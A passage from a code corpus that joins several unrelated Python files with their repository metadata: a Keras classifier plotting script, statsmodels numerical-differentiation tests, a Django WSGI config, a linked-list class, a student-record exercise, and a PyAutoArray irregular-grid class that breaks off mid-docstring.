:', real_y.ravel()) print('-------------') plt.figure(figsize=(12,4)) plt.subplot(121) plt.plot(history.history['loss'],'b-',label='loss') plt.xlabel('Epoch') plt.ylabel('loss') plt.legend() plt.subplot(122) plt.plot(history.history['accuracy'],'r-',label='acc') plt.xlabel('Epoch') plt.ylabel('accuracy') plt.legend() plt.show() plt.figure() plt.plot([0, 1], [0, 1], 'k--') pred_y = model.predict(x_test) fpr, tpr, _ = roc_curve(y_test.ravel(),pred_y.ravel()) print('AUC: ',auc(fpr,tpr)) plt.plot(fpr, tpr) plt.xlabel('False Positive rate') plt.ylabel('True Positive rate') plt.title('ROC Curve') plt.legend() plt.show() print('confusion_matrix \n',confusion_matrix(real_y, y_pred)) print('accuracy : ', accuracy_score(real_y, y_pred)) print('classification_report : \n', classification_report(real_y, y_pred)) height = float(input('height : ')) weight = float(input('weight : ')) new_x = [[height,weight]] new_pred = model.predict(new_x) print('new_pred : ', np.argmax(new_pred, axis = 1))
[ "Bonghwan@DESKTOP-60LSTNL" ]
Bonghwan@DESKTOP-60LSTNL
1a9155e630ec3bbdc1e28e3c0663582ea4d4d946
338dbd8788b019ab88f3c525cddc792dae45036b
/lib/python3.6/site-packages/statsmodels/tools/tests/test_numdiff.py
e39ed632a9dfc9f91dd6e558f67b35d07409fb4f
[]
permissive
KshitizSharmaV/Quant_Platform_Python
9b8b8557f13a0dde2a17de0e3352de6fa9b67ce3
d784aa0604d8de5ba5ca0c3a171e3556c0cd6b39
refs/heads/master
2022-12-10T11:37:19.212916
2019-07-09T20:05:39
2019-07-09T20:05:39
196,073,658
1
2
BSD-3-Clause
2022-11-27T18:30:16
2019-07-09T19:48:26
Python
UTF-8
Python
false
false
14,155
py
'''Testing numerical differentiation Still some problems, with API (args tuple versus *args) finite difference Hessian has some problems that I didn't look at yet Should Hessian also work per observation, if fun returns 2d ''' from __future__ import print_function import numpy as np from numpy.testing import assert_almost_equal, assert_allclose import statsmodels.api as sm from statsmodels.tools import numdiff from statsmodels.tools.numdiff import (approx_fprime, approx_fprime_cs, approx_hess_cs) DEC3 = 3 DEC4 = 4 DEC5 = 5 DEC6 = 6 DEC8 = 8 DEC13 = 13 DEC14 = 14 def maxabs(x,y): return np.abs(x-y).max() def fun(beta, x): return np.dot(x, beta).sum(0) def fun1(beta, y, x): #print(beta.shape, x.shape) xb = np.dot(x, beta) return (y-xb)**2 #(xb-xb.mean(0))**2 def fun2(beta, y, x): #print(beta.shape, x.shape) return fun1(beta, y, x).sum(0) #ravel() added because of MNLogit 2d params class CheckGradLoglikeMixin(object): def test_score(self): for test_params in self.params: sc = self.mod.score(test_params) scfd = numdiff.approx_fprime(test_params.ravel(), self.mod.loglike) assert_almost_equal(sc, scfd, decimal=1) sccs = numdiff.approx_fprime_cs(test_params.ravel(), self.mod.loglike) assert_almost_equal(sc, sccs, decimal=11) def test_hess(self): for test_params in self.params: he = self.mod.hessian(test_params) hefd = numdiff.approx_fprime_cs(test_params, self.mod.score) assert_almost_equal(he, hefd, decimal=DEC8) #NOTE: notice the accuracy below assert_almost_equal(he, hefd, decimal=7) hefd = numdiff.approx_fprime(test_params, self.mod.score, centered=True) assert_allclose(he, hefd, rtol=1e-9) hefd = numdiff.approx_fprime(test_params, self.mod.score, centered=False) assert_almost_equal(he, hefd, decimal=4) hescs = numdiff.approx_fprime_cs(test_params.ravel(), self.mod.score) assert_allclose(he, hescs, rtol=1e-13) hecs = numdiff.approx_hess_cs(test_params.ravel(), self.mod.loglike) assert_allclose(he, hecs, rtol=1e-9) #NOTE: Look at the lack of precision - default epsilon not always #best grad = self.mod.score(test_params) hecs, gradcs = numdiff.approx_hess1(test_params, self.mod.loglike, 1e-6, return_grad=True) assert_almost_equal(he, hecs, decimal=1) assert_almost_equal(grad, gradcs, decimal=1) hecs, gradcs = numdiff.approx_hess2(test_params, self.mod.loglike, 1e-4, return_grad=True) assert_almost_equal(he, hecs, decimal=3) assert_almost_equal(grad, gradcs, decimal=1) hecs = numdiff.approx_hess3(test_params, self.mod.loglike, 1e-5) assert_almost_equal(he, hecs, decimal=4) class TestGradMNLogit(CheckGradLoglikeMixin): @classmethod def setup_class(cls): #from .results.results_discrete import Anes data = sm.datasets.anes96.load(as_pandas=False) exog = data.exog exog = sm.add_constant(exog, prepend=False) cls.mod = sm.MNLogit(data.endog, exog) #def loglikeflat(cls, params): #reshapes flattened params # return cls.loglike(params.reshape(6,6)) #cls.mod.loglike = loglikeflat #need instance method #cls.params = [np.ones((6,6)).ravel()] res = cls.mod.fit(disp=0) cls.params = [res.params.ravel('F')] def test_hess(self): #NOTE: I had to overwrite this to lessen the tolerance for test_params in self.params: he = self.mod.hessian(test_params) hefd = numdiff.approx_fprime_cs(test_params, self.mod.score) assert_almost_equal(he, hefd, decimal=DEC8) #NOTE: notice the accuracy below and the epsilon changes # this doesn't work well for score -> hessian with non-cs step # it's a little better around the optimum assert_almost_equal(he, hefd, decimal=7) hefd = numdiff.approx_fprime(test_params, self.mod.score, centered=True) assert_almost_equal(he, hefd, decimal=4) hefd = numdiff.approx_fprime(test_params, self.mod.score, 1e-9, centered=False) assert_almost_equal(he, hefd, decimal=2) hescs = numdiff.approx_fprime_cs(test_params, self.mod.score) assert_almost_equal(he, hescs, decimal=DEC8) hecs = numdiff.approx_hess_cs(test_params, self.mod.loglike) assert_almost_equal(he, hecs, decimal=5) #NOTE: these just don't work well #hecs = numdiff.approx_hess1(test_params, self.mod.loglike, 1e-3) #assert_almost_equal(he, hecs, decimal=1) #hecs = numdiff.approx_hess2(test_params, self.mod.loglike, 1e-4) #assert_almost_equal(he, hecs, decimal=0) hecs = numdiff.approx_hess3(test_params, self.mod.loglike, 1e-4) assert_almost_equal(he, hecs, decimal=0) class TestGradLogit(CheckGradLoglikeMixin): @classmethod def setup_class(cls): data = sm.datasets.spector.load(as_pandas=False) data.exog = sm.add_constant(data.exog, prepend=False) #mod = sm.Probit(data.endog, data.exog) cls.mod = sm.Logit(data.endog, data.exog) #res = mod.fit(method="newton") cls.params = [np.array([1,0.25,1.4,-7])] ##loglike = mod.loglike ##score = mod.score ##hess = mod.hessian class CheckDerivativeMixin(object): @classmethod def setup_class(cls): nobs = 200 #x = np.arange(nobs*3).reshape(nobs,-1) np.random.seed(187678) x = np.random.randn(nobs,3) xk = np.array([1,2,3]) xk = np.array([1.,1.,1.]) #xk = np.zeros(3) beta = xk y = np.dot(x, beta) + 0.1*np.random.randn(nobs) xkols = np.dot(np.linalg.pinv(x),y) cls.x = x cls.y = y cls.params = [np.array([1.,1.,1.]), xkols] cls.init() @classmethod def init(cls): pass def test_grad_fun1_fd(self): for test_params in self.params: #gtrue = self.x.sum(0) gtrue = self.gradtrue(test_params) fun = self.fun() epsilon = 1e-6 gfd = numdiff.approx_fprime(test_params, fun, epsilon=epsilon, args=self.args) gfd += numdiff.approx_fprime(test_params, fun, epsilon=-epsilon, args=self.args) gfd /= 2. assert_almost_equal(gtrue, gfd, decimal=DEC6) def test_grad_fun1_fdc(self): for test_params in self.params: #gtrue = self.x.sum(0) gtrue = self.gradtrue(test_params) fun = self.fun() # default epsilon of 1e-6 is not precise enough here gfd = numdiff.approx_fprime(test_params, fun, epsilon=1e-8, args=self.args, centered=True) assert_almost_equal(gtrue, gfd, decimal=DEC5) def test_grad_fun1_cs(self): for test_params in self.params: #gtrue = self.x.sum(0) gtrue = self.gradtrue(test_params) fun = self.fun() gcs = numdiff.approx_fprime_cs(test_params, fun, args=self.args) assert_almost_equal(gtrue, gcs, decimal=DEC13) def test_hess_fun1_fd(self): for test_params in self.params: #hetrue = 0 hetrue = self.hesstrue(test_params) if hetrue is not None: #Hessian doesn't work for 2d return of fun fun = self.fun() #default works, epsilon 1e-6 or 1e-8 is not precise enough hefd = numdiff.approx_hess1(test_params, fun, #epsilon=1e-8, # TODO: should be kwds args=self.args) assert_almost_equal(hetrue, hefd, decimal=DEC3) #TODO: I reduced precision to DEC3 from DEC4 because of # TestDerivativeFun hefd = numdiff.approx_hess2(test_params, fun, #epsilon=1e-8, # TODO: should be kwds args=self.args) assert_almost_equal(hetrue, hefd, decimal=DEC3) hefd = numdiff.approx_hess3(test_params, fun, #epsilon=1e-8, # TODO: should be kwds args=self.args) assert_almost_equal(hetrue, hefd, decimal=DEC3) def test_hess_fun1_cs(self): for test_params in self.params: #hetrue = 0 hetrue = self.hesstrue(test_params) if hetrue is not None: #Hessian doesn't work for 2d return of fun fun = self.fun() hecs = numdiff.approx_hess_cs(test_params, fun, args=self.args) assert_almost_equal(hetrue, hecs, decimal=DEC6) class TestDerivativeFun(CheckDerivativeMixin): @classmethod def setup_class(cls): super(TestDerivativeFun,cls).setup_class() xkols = np.dot(np.linalg.pinv(cls.x), cls.y) cls.params = [np.array([1.,1.,1.]), xkols] cls.args = (cls.x,) def fun(self): return fun def gradtrue(self, params): return self.x.sum(0) def hesstrue(self, params): return np.zeros((3,3)) #make it (3,3), because test fails with scalar 0 #why is precision only DEC3 class TestDerivativeFun2(CheckDerivativeMixin): @classmethod def setup_class(cls): super(TestDerivativeFun2,cls).setup_class() xkols = np.dot(np.linalg.pinv(cls.x), cls.y) cls.params = [np.array([1.,1.,1.]), xkols] cls.args = (cls.y, cls.x) def fun(self): return fun2 def gradtrue(self, params): y, x = self.y, self.x return (-x*2*(y-np.dot(x, params))[:,None]).sum(0) #2*(y-np.dot(x, params)).sum(0) def hesstrue(self, params): x = self.x return 2*np.dot(x.T, x) class TestDerivativeFun1(CheckDerivativeMixin): @classmethod def setup_class(cls): super(TestDerivativeFun1, cls).setup_class() xkols = np.dot(np.linalg.pinv(cls.x), cls.y) cls.params = [np.array([1.,1.,1.]), xkols] cls.args = (cls.y, cls.x) def fun(self): return fun1 def gradtrue(self, params): y, x = self.y, self.x return (-x*2*(y-np.dot(x, params))[:,None]) def hesstrue(self, params): return None y, x = self.y, self.x return (-x*2*(y-np.dot(x, params))[:,None]) #TODO: check shape def test_dtypes(): def f(x): return 2*x desired = np.array([[2, 0], [0, 2]]) assert_allclose(approx_fprime(np.array([1, 2]), f), desired) assert_allclose(approx_fprime(np.array([1., 2.]), f), desired) assert_allclose(approx_fprime(np.array([1.+0j, 2.+0j]), f), desired) if __name__ == '__main__': epsilon = 1e-6 nobs = 200 x = np.arange(nobs*3).reshape(nobs,-1) x = np.random.randn(nobs,3) xk = np.array([1,2,3]) xk = np.array([1.,1.,1.]) #xk = np.zeros(3) beta = xk y = np.dot(x, beta) + 0.1*np.random.randn(nobs) xkols = np.dot(np.linalg.pinv(x),y) print(approx_fprime((1,2,3),fun,epsilon,x)) gradtrue = x.sum(0) print(x.sum(0)) gradcs = approx_fprime_cs((1,2,3), fun, (x,), h=1.0e-20) print(gradcs, maxabs(gradcs, gradtrue)) print(approx_hess_cs((1,2,3), fun, (x,), h=1.0e-20)) #this is correctly zero print(approx_hess_cs((1,2,3), fun2, (y,x), h=1.0e-20)-2*np.dot(x.T, x)) print(numdiff.approx_hess(xk,fun2,1e-3, (y,x))[0] - 2*np.dot(x.T, x)) gt = (-x*2*(y-np.dot(x, [1,2,3]))[:,None]) g = approx_fprime_cs((1,2,3), fun1, (y,x), h=1.0e-20)#.T #this shouldn't be transposed gd = numdiff.approx_fprime((1,2,3),fun1,epsilon,(y,x)) print(maxabs(g, gt)) print(maxabs(gd, gt)) data = sm.datasets.spector.load(as_pandas=False) data.exog = sm.add_constant(data.exog, prepend=False) #mod = sm.Probit(data.endog, data.exog) mod = sm.Logit(data.endog, data.exog) #res = mod.fit(method="newton") test_params = [1,0.25,1.4,-7] loglike = mod.loglike score = mod.score hess = mod.hessian #cs doesn't work for Probit because special.ndtr doesn't support complex #maybe calculating ndtr for real and imag parts separately, if we need it #and if it still works in this case print('sm', score(test_params)) print('fd', numdiff.approx_fprime(test_params,loglike,epsilon)) print('cs', numdiff.approx_fprime_cs(test_params,loglike)) print('sm', hess(test_params)) print('fd', numdiff.approx_fprime(test_params,score,epsilon)) print('cs', numdiff.approx_fprime_cs(test_params, score)) hesscs = numdiff.approx_hess_cs(test_params, loglike) print('cs', hesscs) print(maxabs(hess(test_params), hesscs)) data = sm.datasets.anes96.load(as_pandas=False) exog = data.exog exog = sm.add_constant(exog, prepend=False) res1 = sm.MNLogit(data.endog, exog).fit(method="newton", disp=0) datap = sm.datasets.randhie.load(as_pandas=False) nobs = len(datap.endog) exogp = sm.add_constant(datap.exog.view(float).reshape(nobs,-1), prepend=False) modp = sm.Poisson(datap.endog, exogp) resp = modp.fit(method='newton', disp=0)
[ "kshitizsharmav@gmail.com" ]
kshitizsharmav@gmail.com
d00caac2348180d52c10a1aca86c341683d7ad20
ec99362e7b0f9b6f96cd92c995a388c149655d3e
/ggvinfosite/ggvinfosite/wsgi.py
99b30d968bcb39576ccd96fee6ae2ac0fcbae093
[]
no_license
anidem/ggv-info-py
5d43f1fe0e14b9a3db775276d31a5405d7ee9c69
1b2e772575cd7ea163aaaae7b871fbf937294d43
refs/heads/master
2021-01-20T17:58:30.684821
2016-08-09T04:30:35
2016-08-09T04:30:35
60,475,905
0
0
null
null
null
null
UTF-8
Python
false
false
498
py
""" WSGI config for ggvinfosite project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application from mezzanine.utils.conf import real_project_name os.environ.setdefault("DJANGO_SETTINGS_MODULE", "%s.settings" % real_project_name("ggvinfosite")) application = get_wsgi_application()
[ "richmedina@gmail.com" ]
richmedina@gmail.com
e8b7a74f2a29bbe1760be0f63fe1f519849bd05a
270e3cf2d508d916e8aaa5c4210fa593ff4c3a72
/Python_Scripting/Pycharm_projects/DataStructures/LinkedList/SingleLinkedList/SingleLinkedList.py
87b9c4a732555029d1a0c10f2f405bc5abf57fd9
[]
no_license
NagiReddyPadala/python_programs
140c45ee1e763ec4aa8ef975be18c5fad1e0a7ec
18d91095c0e25345b8c1bc16d121df9a40639c5f
refs/heads/master
2020-12-08T03:29:35.030951
2020-02-29T16:23:36
2020-02-29T16:23:36
232,871,073
0
0
null
null
null
null
UTF-8
Python
false
false
8,078
py
class Node(): def __init__(self, data): self.data = data self.next = None class LinkedList(): def __init__(self): self.head = None def append(self, data): new_node = Node(data) if self.head is None: self.head = new_node return last_node = self.head while last_node.next: last_node = last_node.next last_node.next = new_node def prepend(self, data): new_node = Node(data) new_node.next = self.head self.head = new_node def insertAfterNode(self, prevNode, data): new_node = Node(data) new_node.next = prevNode.next prevNode.next = new_node def delete_node(self, data): cur_node = self.head if cur_node and cur_node.data == data: self.head = cur_node.next cur_node = None return prev_node = None while cur_node and cur_node.data != data: prev_node = cur_node cur_node = cur_node.next if prev_node: prev_node.next = cur_node.next cur_node = None def delete_node_at_pos(self, pos): cur_node = self.head if pos == 0: self.head = cur_node.next cur_node = None return prev_node = None count = 1 while cur_node and count <= pos: prev_node = cur_node cur_node = cur_node.next count += 1 if prev_node: prev_node.next = cur_node.next cur_node = None def length(self): cur_node = self.head count = 0 while cur_node: cur_node = cur_node.next count += 1 print("Length of the linked list is: ", count) return count def swap_nodes(self, key1, key2): if key1 == key2: return prev1 = None cur1 = self.head while cur1 and cur1.data != key1: prev1 = cur1 cur1 = cur1.next prev2 = None cur2 = self.head while cur2 and cur2.data != key2: prev2 = cur2 cur2 = cur2.next if not cur1 or not cur2: return if prev1: prev1.next = cur2 else: self.head = cur2 if prev2: prev2.next = cur1 else: self.head = cur1 cur1.next, cur2.next = cur2.next, cur1.next def reverse_iterative(self): prev = None curr = self.head while curr: next = curr.next curr.next = prev prev = curr curr = next self.head = prev def recursive_reverse(self): def _recursive_reverse(curr, prev): if not curr: return prev next = curr.next curr.next = prev prev = curr curr = next return _recursive_reverse(curr, prev) self.head = _recursive_reverse(curr = self.head, prev = None) def merge_sorted(self, llist): p = self.head q = llist.head s = None if not p: return q if not q: return p if p and q: if p.data <= q.data: s = p p = s.next else: s = q q = s.next new_head = s while p and q: if p.data <= q.data: s.next = p s = p p = s.next else: s.next = q s = q q = s.next if not p: s.next = q if not q: s.next = p def remove_duplicates(self): cur_node = self.head prev_node = None dup_values = dict() while cur_node: if cur_node.data in dup_values: prev_node.next = cur_node.next cur_node = None else: dup_values[cur_node.data] = 1 prev_node = cur_node cur_node = prev_node.next def print_nth_from_last(self, n): total_len = self.length() cur_node = self.head while cur_node: if total_len == n: print(cur_node.data) return total_len -= 1 cur_node = cur_node.next if cur_node is None: return def count_occurances_iterative(self, val): cur_node = self.head count = 0 while cur_node: if cur_node.data == val: count += 1 cur_node = cur_node.next return count def count_occurances_recursive(self, node, data): if not node: return 0 if node.data == data: return 1 + self.count_occurances_recursive(node.next, data) else: return self.count_occurances_recursive(node.next, data) def rotate(self, k): p = self.head q = self.head prev = None count = 0 while p and count < k: prev = p p = p.next q = q.next count += 1 p = prev while q: prev = q q = q.next q = prev q.next = self.head self.head = p.next p.next = None def move_tail_to_head(self): last = self.head second_to_last = None while last.next: second_to_last = last last = last.next last.next = self.head second_to_last.next = None self.head = last def printllist(self): cur_node = self.head while cur_node: print(cur_node.data) cur_node = cur_node.next # llist = LinkedList() # print("Head is: ", llist.head) # llist.append("A") # print("Head is: ", llist.head) # llist.append("B") # llist.append("C") # llist.append("D") """ print("Head is: ", llist.head) llist.printllist() print("Head is: ", llist.head) llist.prepend("C") llist.printllist() llist.insertAfterNode(llist.head.next,"D") print("**********") llist.printllist() print("*************") #llist.delete_node("D") #llist.delete_node_at_pos(1) llist.printllist() llist.length() print("After swappig") llist.swap_nodes("C", "B") llist.printllist() """ #llist.reverse_iterative() #llist.printllist() # # print("After recursive reverse") # llist.recursive_reverse() # llist.printllist() # llist1 = LinkedList() # # llist1.append(1) # llist1.append(3) # llist1.append(5) # llist1.append(7) # # llist2 = LinkedList() # llist2.append(2) # llist2.append(4) # llist2.append(6) # llist2.append(8) # # print(llist1.printllist()) # print(llist2.printllist()) # # llist1.merge_sorted(llist2) # # print(llist1.printllist()) # # llist1 = LinkedList() # # llist1.append(1) # llist1.append(2) # llist1.append(1) # llist1.append(2) # llist1.append(3) # llist1.printllist() # llist1.remove_duplicates() # print("***********") # llist1.printllist() # llist1 = LinkedList() # # llist1.append(1) # llist1.append(2) # llist1.append(3) # llist1.append(4) # llist1.append(5) # llist1.printllist() # print("***********") # llist1.print_nth_from_last(2) # llist1 = LinkedList() # # llist1.append(1) # llist1.append(2) # llist1.append(1) # llist1.append(2) # llist1.append(3) # # print(llist1.count_occurances_iterative(1)) # print(llist1.count_occurances_iterative(2)) # print(llist1.count_occurances_iterative(3)) # print("***********") # # print(llist1.count_occurances_recursive(llist1.head, 1)) # print(llist1.count_occurances_recursive(llist1.head, 2)) # print(llist1.count_occurances_recursive(llist1.head, 3)) # # llist1 = LinkedList() # # llist1.append(1) # llist1.append(2) # llist1.append(3) # llist1.append(4) # llist1.append(5) # llist1.append(6) # # llist1.rotate(4) # llist1.printllist() llist1 = LinkedList() llist1.append(1) llist1.append(2) llist1.append(3) llist1.append(4) llist1.move_tail_to_head() llist1.printllist()
[ "nagireddypadala434@email.com" ]
nagireddypadala434@email.com
f528a850125e7dd3fa24e232122710ac04537d1c
7c4878b4881d79dd4daa3291e9c498e0706a7603
/lessons19/Словари - основы/task2.py
2e30a33d5cfbf90181166d2a86c70b24f321931c
[ "MIT" ]
permissive
zainllw0w/skillbox
4cbdbb44762439c1aa1793a07683d7620500ddd7
896287b6f7f5612cf589094131fd1a12b0b192ba
refs/heads/main
2023-04-27T16:07:16.613359
2021-05-20T14:12:11
2021-05-20T14:12:11
329,755,030
0
0
null
2021-05-20T14:06:42
2021-01-14T23:01:15
Python
UTF-8
Python
false
false
636
py
student_input = input('Введите информацию о студенте через пробел: фамилию, имя студента, город проживания, вуз, в котором он учится, и все его оценки\n').split() student_info = dict() student_info['Фамилия'] = student_input[0] student_info['Имя'] = student_input[1] student_info['Город'] = student_input[2] student_info['Вуз'] = student_input[3] student_info['Оценки'] = [] for i in student_input[4:]: student_info['Оценки'].append(i) for i in student_info: print(i, ':', student_info[i])
[ "77465388+zainllw0w@users.noreply.github.com" ]
77465388+zainllw0w@users.noreply.github.com
0927032fab4991592c4852c894604f39ca7b9403
8039137e257c587e4f37dea4f421607de040009c
/autoarray/structures/grids/two_d/grid_2d_irregular.py
fade81d269051a0d5322c4ab96f2781f917901b9
[ "MIT" ]
permissive
jonathanfrawley/PyAutoArray_copy
d15cafa8ad93c19e9991b0c98bc5192be520fcdc
c21e8859bdb20737352147b9904797ac99985b73
refs/heads/master
2023-04-20T22:43:18.765267
2021-05-12T14:23:47
2021-05-12T14:23:47
367,427,246
0
0
null
null
null
null
UTF-8
Python
false
false
20,350
py
import ast import numpy as np import os from os import path import pickle import typing import json from autoarray.structures.arrays import values # from autoarray.structures.arrays.one_d import array_1d from autoarray.structures.grids.two_d import grid_2d from autoarray.structures.grids.two_d import grid_2d_util from autoarray.geometry import geometry_util from autoarray import exc class Grid2DIrregular(np.ndarray): def __new__(cls, grid): """ An irregular grid of (y,x) coordinates. The `Grid2DIrregular` stores the (y,x) irregular grid of coordinates as 2D NumPy array of shape [total_coordinates, 2]. Calculations should use the NumPy array structure wherever possible for efficient calculations. The coordinates input to this function can have any of the following forms (they will be converted to the 1D NumPy array structure and can be converted back using the object's properties): [(y0,x0), (y1,x1)] [[y0,x0], [y1,x1]] If your grid lies on a 2D uniform grid of data the `Grid2D` data structure should be used. Parameters ---------- grid : grid_2d_irregular.Grid2DIrregular The irregular grid of (y,x) coordinates. """ if len(grid) == 0: return [] if type(grid) is list: if isinstance(grid[0], Grid2DIrregular): return grid grid = np.asarray(grid) obj = grid.view(cls) return obj def __reduce__(self): # Get the parent's __reduce__ tuple pickled_state = super().__reduce__() # Create our own tuple to pass to __setstate__ class_dict = {} for key, value in self.__dict__.items(): class_dict[key] = value new_state = pickled_state[2] + (class_dict,) # Return a tuple that replaces the parent's __setstate__ tuple with our own return pickled_state[0], pickled_state[1], new_state # noinspection PyMethodOverriding def __setstate__(self, state): for key, value in state[-1].items(): setattr(self, key, value) super().__setstate__(state[0:-1]) @property def shape_native_scaled(self): """The two dimensional shape of the coordinates spain in scaled units, computed by taking the minimum and maximum values of the coordinates.""" return ( np.amax(self[:, 0]).astype("float") - np.amin(self[:, 0]).astype("float"), np.amax(self[:, 1]).astype("float") - np.amin(self[:, 1]).astype("float"), ) @property def scaled_maxima(self): """The maximum values of the coordinates returned as a tuple (y_max, x_max).""" return ( np.amax(self[:, 0]).astype("float"), np.amax(self[:, 1]).astype("float"), ) @property def scaled_minima(self): """The minimum values of the coordinates returned as a tuple (y_max, x_max).""" return ( np.amin(self[:, 0]).astype("float"), np.amin(self[:, 1]).astype("float"), ) @property def extent(self): """The extent of the coordinates returned as a NumPy array [x_min, x_max, y_min, y_max]. This follows the format of the extent input parameter in the matplotlib method imshow (and other methods) and is used for visualization in the plot module.""" return np.array( [ self.scaled_minima[1], self.scaled_maxima[1], self.scaled_minima[0], self.scaled_maxima[0], ] ) @property def slim(self): return self @classmethod def from_yx_1d(cls, y, x): """Create `Grid2DIrregular` from a list of y and x values.""" return Grid2DIrregular(grid=np.stack((y, x), axis=-1)) @classmethod def from_pixels_and_mask(cls, pixels, mask): """Create `Grid2DIrregular` from a list of coordinates in pixel units and a mask which allows these coordinates to be converted to scaled units.""" coorindates = [ mask.scaled_coordinates_2d_from(pixel_coordinates_2d=pixel_coordinates_2d) for pixel_coordinates_2d in pixels ] return cls(grid=coorindates) @property def in_list(self): """Return the coordinates in a list.""" return [tuple(value) for value in self] def values_from_array_slim(self, array_slim): """Create a *ValuesIrregular* object from a 1D NumPy array of values of shape [total_coordinates]. The *ValuesIrregular* are structured following this `Grid2DIrregular` instance.""" return values.ValuesIrregular(values=array_slim) def values_from_value(self, value): return self.values_from_array_slim( array_slim=np.full(fill_value=value, shape=self.shape[0]) ) def grid_from_grid_slim(self, grid_slim): """Create a `Grid2DIrregular` object from a 2D NumPy array of values of shape [total_coordinates, 2]. The `Grid2DIrregular` are structured following this *Grid2DIrregular* instance.""" if isinstance(grid_slim, grid_2d.Grid2DTransformedNumpy): return Grid2DIrregularTransformed(grid=grid_slim) return Grid2DIrregular(grid=grid_slim) def grid_from_deflection_grid(self, deflection_grid): """ Returns a new Grid2DIrregular from this grid coordinates, where the (y,x) coordinates of this grid have a grid of (y,x) values, termed the deflection grid, subtracted from them to determine the new grid of (y,x) values. This is used by PyAutoLens to perform grid ray-tracing. Parameters ---------- deflection_grid : np.ndarray The grid of (y,x) coordinates which is subtracted from this grid. """ return Grid2DIrregular(grid=self - deflection_grid) def grid_from_mask_within_radius(self, radius, centre): mask = grid_2d_util.mask_of_points_within_radius( grid=self, radius=radius, centre=centre ) inside = [] for i in range(len(mask)): if mask[i] is True: inside.append(self[i]) return Grid2DIrregular(grid=np.asarray(inside)) def structure_2d_from_result( self, result: np.ndarray or list ) -> typing.Union[values.ValuesIrregular, list]: """ Convert a result from a non autoarray structure to an aa.ValuesIrregular or aa.Grid2DIrregular structure, where the conversion depends on type(result) as follows: - 1D np.ndarray -> aa.ValuesIrregular - 2D np.ndarray -> aa.Grid2DIrregular - [1D np.ndarray] -> [aa.ValuesIrregular] - [2D np.ndarray] -> [aa.Grid2DIrregular] This function is used by the grid_2d_to_structure decorator to convert the output result of a function to an autoarray structure when a `Grid2DIrregular` instance is passed to the decorated function. Parameters ---------- result : np.ndarray or [np.ndarray] The input result (e.g. of a decorated function) that is converted to a PyAutoArray structure. """ if isinstance(result, np.ndarray): if len(result.shape) == 1: return self.values_from_array_slim(array_slim=result) elif len(result.shape) == 2: return self.grid_from_grid_slim(grid_slim=result) elif isinstance(result, list): if len(result[0].shape) == 1: return [ self.values_from_array_slim(array_slim=value) for value in result ] elif len(result[0].shape) == 2: return [self.grid_from_grid_slim(grid_slim=value) for value in result] def structure_2d_list_from_result_list( self, result_list: list ) -> typing.Union[list]: """ Convert a result from a list of non autoarray structures to a list of aa.ValuesIrregular or aa.Grid2DIrregular structures, where the conversion depends on type(result) as follows: - [1D np.ndarray] -> [aa.ValuesIrregular] - [2D np.ndarray] -> [aa.Grid2DIrregular] This function is used by the grid_like_list_to_structure_list decorator to convert the output result of a function to a list of autoarray structure when a `Grid2DIrregular` instance is passed to the decorated function. Parameters ---------- result_list : np.ndarray or [np.ndarray] The input result (e.g. of a decorated function) that is converted to a PyAutoArray structure. """ if len(result_list[0].shape) == 1: return [ self.values_from_array_slim(array_slim=value) for value in result_list ] elif len(result_list[0].shape) == 2: return [self.grid_from_grid_slim(grid_slim=value) for value in result_list] def squared_distances_from_coordinate(self, coordinate=(0.0, 0.0)): """ Returns the squared distance of every (y,x) coordinate in this *Coordinate* instance from an input coordinate. Parameters ---------- coordinate : (float, float) The (y,x) coordinate from which the squared distance of every *Coordinate* is computed. """ squared_distances = np.square(self[:, 0] - coordinate[0]) + np.square( self[:, 1] - coordinate[1] ) return self.values_from_array_slim(array_slim=squared_distances) def distances_from_coordinate(self, coordinate=(0.0, 0.0)): """ Returns the distance of every (y,x) coordinate in this *Coordinate* instance from an input coordinate. Parameters ---------- coordinate : (float, float) The (y,x) coordinate from which the distance of every *Coordinate* is computed. """ distances = np.sqrt( self.squared_distances_from_coordinate(coordinate=coordinate) ) return self.values_from_array_slim(array_slim=distances) @property def furthest_distances_from_other_coordinates(self) -> values.ValuesIrregular: """ For every (y,x) coordinate on the `Grid2DIrregular` returns the furthest radial distance of each coordinate to any other coordinate on the grid. For example, for the following grid: grid=[(0.0, 0.0), (0.0, 1.0), (0.0, 3.0)] The returned further distances are: [3.0, 2.0, 3.0] Returns ------- values.ValuesIrregular The further distances of every coordinate to every other coordinate on the irregular grid. """ radial_distances_max = np.zeros((self.shape[0])) for i in range(self.shape[0]): x_distances = np.square(np.subtract(self[i, 0], self[:, 0])) y_distances = np.square(np.subtract(self[i, 1], self[:, 1])) radial_distances_max[i] = np.sqrt(np.max(np.add(x_distances, y_distances))) return self.values_from_array_slim(array_slim=radial_distances_max) def grid_of_closest_from_grid_pair(self, grid_pair): """ From an input grid, find the closest coordinates of this instance of the `Grid2DIrregular` to each coordinate on the input grid and return each closest coordinate as a new `Grid2DIrregular`. Parameters ---------- grid_pair : np.ndarray The grid of coordinates the closest coordinate of each (y,x) location is paired with. Returns ------- Grid2DIrregular The grid of coordinates corresponding to the closest coordinate of each coordinate of this instance of the `Grid2DIrregular` to the input grid. """ grid_of_closest = np.zeros((grid_pair.shape[0], 2)) for i in range(grid_pair.shape[0]): x_distances = np.square(np.subtract(grid_pair[i, 0], self[:, 0])) y_distances = np.square(np.subtract(grid_pair[i, 1], self[:, 1])) radial_distances = np.add(x_distances, y_distances) grid_of_closest[i, :] = self[np.argmin(radial_distances), :] return Grid2DIrregular(grid=grid_of_closest) @classmethod def from_json(cls, file_path): """Create a `Grid2DIrregular` object from a file which stores the coordinates as a list of list of tuples. Parameters ---------- file_path : str The path to the coordinates .dat file containing the coordinates (e.g. '/path/to/coordinates.dat') """ with open(file_path) as infile: grid = json.load(infile) return Grid2DIrregular(grid=grid) @classmethod def from_dat_file(cls, file_path): """Create a `Grid2DIrregularGrouped` object from a file which stores the coordinates as a list of list of tuples. Parameters ---------- file_path : str The path to the coordinates .dat file containing the coordinates (e.g. '/path/to/coordinates.dat') """ with open(file_path) as f: grid_string = f.readlines() grouped_grids = [] for line in grid_string: coordinate_list = ast.literal_eval(line) grouped_grids.append(coordinate_list) return cls(grid=grouped_grids[0]) def output_to_json(self, file_path, overwrite=False): """Output this instance of the `Grid2DIrregular` object to a list of list of tuples. Parameters ---------- file_path : str The path to the coordinates .dat file containing the coordinates (e.g. '/path/to/coordinates.dat') overwrite : bool If there is as exsiting file it will be overwritten if this is 